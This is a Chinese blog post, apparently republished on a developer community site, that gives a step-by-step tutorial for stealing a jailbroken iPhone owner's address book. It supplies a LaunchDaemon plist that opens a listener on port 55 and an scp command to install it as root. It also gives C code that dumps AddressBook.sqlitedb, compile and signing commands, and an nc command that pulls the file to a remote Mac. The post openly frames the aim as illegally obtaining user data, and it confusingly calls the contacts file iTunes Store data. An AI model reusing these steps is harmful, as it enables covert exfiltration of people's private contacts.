开发者社区> 玄学酱> 正文

iOS攻防:如何窃取用户的通讯录信息

简介:
+关注继续查看

说明

2016年7月15更新,最近试了一下,发现用nc拿不到数据了,拿数据的代码是没有问题的,直接运行可以拿到数据,但是从mac通过IP和端口拿到的.sqlitedb文件是空文件,博主也正在看为什么~大家有兴趣可以一起找一下原因。

简介

本文章基于念茜的iOS攻防系列。

本文将会讲解如何窃取用户的通讯录信息。

同样在越狱手机环境下。

hack

1. 需要一个plist

需要这样一个plist,它看起来是这样:  

源文件是这样:


  1. <?xml version="1.0" encoding="UTF-8"?> 
  2. <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"
  3. <plist version="1.0"
  4. <dict> 
  5. <key>Program</key
  6. <string>/usr/bin/hack</string> 
  7. <key>StandardErrorPath</key
  8. <string>/dev/null</string> 
  9. <key>SessionCreate</key
  10. <true/> 
  11. <key>ProgramArguments</key
  12. <array> 
  13. <string>/usr/bin/hack</string> 
  14. </array> 
  15. <key>inetdCompatibility</key
  16. <dict> 
  17. <key>Wait</key
  18. <false/> 
  19. </dict> 
  20. <key>Sockets</key
  21. <dict> 
  22. <key>Listeners</key
  23. <dict> 
  24. <key>SockServiceName</key
  25. <string>55</string> 
  26. </dict> 
  27. </dict> 
  28. </dict> 
  29. </plist>  

SockServiceName指的是通信名称

将plist文件传送到至iPhone/System/Library/LaunchDaemons/ 下

scp /Users/zhoulingyu/Desktop/hack.plist root@192.168.31.152:/System/Library/LaunchDaemons/hack.plist

2. 了解一下OS X的启动原理

  • mac固件激活,初始化硬件,加载BootX引导器。
  • BootX加载内核与内核扩展(kext)。
  • 内核启动launchd进程。
  • launchd根据/System/Library/LaunchAgents、/System/Library/LaunchDaemons、/Library/LaunchDaemons、Library/LaunchAgents、~/Library/LaunchAgents里的plist配置,启动服务守护进程

解释一下:

LaunchDaemons是用户未登陆前就启动的服务(守护进程)

LaunchAgents是用户登陆后启动的服务(守护进程)

几个目录下plist文件格式及每个字段的含义: 

KEY DESCRIPTION REQUIRED
Label The name of the job yes
ProgramArguments Strings to pass to the program when it is executed yes
UserName The job will be run as the given user, who may not necessarily be the one who submitted it to launchd. no
inetdCompatibility Indicates that the daemon expects to be run as if it were launched by inetd no
Program The path to your executable. This key can save the ProgramArguments key for flags and arguments. no
onDemand A boolean flag that defines if a job runs continuously or not no
RootDirectory The job will be?chrooted?into another directory no
ServiceIPC Whether the daemon can speak IPC to launchd no
WatchPaths Allows launchd to start a job based on modifications at a file-system path no
QueueDirectories Similar to WatchPath, a queue will only watch an empty directory for new files no
StartInterval Used to schedule a job that runs on a repeating schedule. Specified as the number of seconds to wait between runs. no
StartCalendarInterval Job scheduling. The syntax is similar to cron. no
HardResourceLimits Controls restriction of the resources consumed by any job no
LowPriorityIO Tells the kernel that this task is of a low priority when doing file system I/O no
Sockets An array can be used to specify what socket the daemon will listen on for launch on demand no
 

iOS基本类似,我基本是参照这个来的。

所以上面的plist实际上是要求系统启动一个进程。

一个名为hack的进程,可执行文件的路径是/usr/bin/hack。

3. 编写读取通讯录数据程序

iTunes Store的数据都在/var/mobile/Library/AddressBook/AddressBook.sqlitedb中,只要能能拿出AddressBook.sqlitedb就可以非法拿到用户的数据。

那么现在编写一个程序:


  1. #include <stdio.h>   
  2. #include <fcntl.h>   
  3. #include <stdlib.h>   
  4.    
  5. #define FILE "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"   
  6.    
  7. int main(){   
  8.     int fd = open(FILE, O_RDONLY);   
  9.     char buf[128];   
  10.     int ret = 0;   
  11.        
  12.     if(fd < 0)   
  13.         return -1;   
  14.     while (( ret = read(fd, buf, sizeof(buf))) > 0){   
  15.         write( fileno(stdout), buf, ret);   
  16.     }   
  17.     close(fd);   
  18.     return 0;   
  19.  

用同样的方法编译、传输:


  1. xcrun -sdk iphoneos clang -arch armv7 -o hack hack.c 

签名:


  1. ldid -S hack 
  2. mv hack /usr/bin  

4. 抓取 iTunesstore 数据信息

利用netcat,指定之前定义的服务名称,抓取设备 iTunesstore 信息:

nc 192.168.31.152 55 > itunesstored2.sqlitedb

OK,在MAC查看一下内容。





本文作者:佚名
来源:51CTO

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
阿里云服务器端口号设置
阿里云服务器初级使用者可能面临的问题之一. 使用tomcat或者其他服务器软件设置端口号后,比如 一些不是默认的, mysql的 3306, mssql的1433,有时候打不开网页, 原因是没有在ecs安全组去设置这个端口号. 解决: 点击ecs下网络和安全下的安全组 在弹出的安全组中,如果没有就新建安全组,然后点击配置规则 最后如上图点击添加...或快速创建.   have fun!  将编程看作是一门艺术,而不单单是个技术。
19976 0
iOS获取通讯录联系人信息(二)
iOS获取通讯录联系人信息
27 0
阿里云服务器ECS远程登录用户名密码查询方法
阿里云服务器ECS远程连接登录输入用户名和密码,阿里云没有默认密码,如果购买时没设置需要先重置实例密码,Windows用户名是administrator,Linux账号是root,阿小云来详细说下阿里云服务器远程登录连接用户名和密码查询方法
22208 0
阿里云服务器怎么设置密码?怎么停机?怎么重启服务器?
如果在创建实例时没有设置密码,或者密码丢失,您可以在控制台上重新设置实例的登录密码。本文仅描述如何在 ECS 管理控制台上修改实例登录密码。
23523 0
iOS获取通讯录联系人信息(一)
iOS获取通讯录联系人信息
60 0
+关注
玄学酱
这个时候,玄酱是不是应该说点什么...
20683
文章
438
问答
文章排行榜
最热
最新
相关电子书
更多
JS零基础入门教程(上册)
立即下载
性能优化方法论
立即下载
手把手学习日志服务SLS,云启实验室实战指南
立即下载